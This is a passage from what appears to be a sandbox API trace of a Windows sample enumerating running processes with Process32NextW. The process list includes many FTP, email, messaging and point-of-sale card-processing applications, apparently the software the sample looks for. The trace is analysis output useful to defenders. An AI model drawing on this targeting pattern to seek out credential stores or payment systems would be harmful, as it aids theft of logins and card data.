(in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0077.730] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0077.730] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0077.731] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.732] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0077.732] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.733] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0077.734] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0077.734] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0077.735] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0077.735] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.736] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.737] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.737] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.738] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.739] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0077.739] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.740] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.741] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0077.741] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0077.742] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0077.742] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.743] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0077.744] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0077.744] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="desiredbarriers.exe")) returned 1 [0077.745] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotten-cats.exe")) returned 1 [0077.746] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aboriginal confused oxford.exe")) returned 1 [0077.746] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contribution.exe")) returned 1 [0077.747] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="becomesincorporatedinvitation.exe")) returned 1 [0077.748] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="passesbands.exe")) returned 1 [0077.748] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="universe.exe")) returned 1 [0077.749] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="heard_davidson.exe")) returned 1 [0077.749] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="etc overall adware.exe")) returned 1 [0077.750] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="amy minerals.exe")) returned 1 [0077.751] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="light handmade.exe")) returned 1 [0077.751] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blond.exe")) returned 1 [0077.752] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="months.exe")) returned 1 [0077.753] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ragemedicare.exe")) returned 1 [0077.753] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablet restored processes.exe")) returned 1 [0077.754] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0077.755] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0077.755] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0077.756] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0077.757] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0077.757] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0077.758] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0077.759] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0077.759] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0077.760] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0077.760] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0077.761] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0077.762] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0077.762] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0077.763] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0077.764] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0077.764] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0077.765] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0077.766] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0077.766] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0077.767] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0078.904] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0078.906] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0078.907] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0078.908] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0078.909] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0078.910] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0078.911] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0078.912] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0078.913] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0078.914] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0078.915] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0078.916] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0078.916] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0078.917] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0078.918] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0078.919] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0078.920] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0078.921] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0078.922] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0078.923] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0078.923] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0078.924] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wax.exe")) returned 1 [0078.925] Process32NextW (in: hSnapshot=0x1a4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, 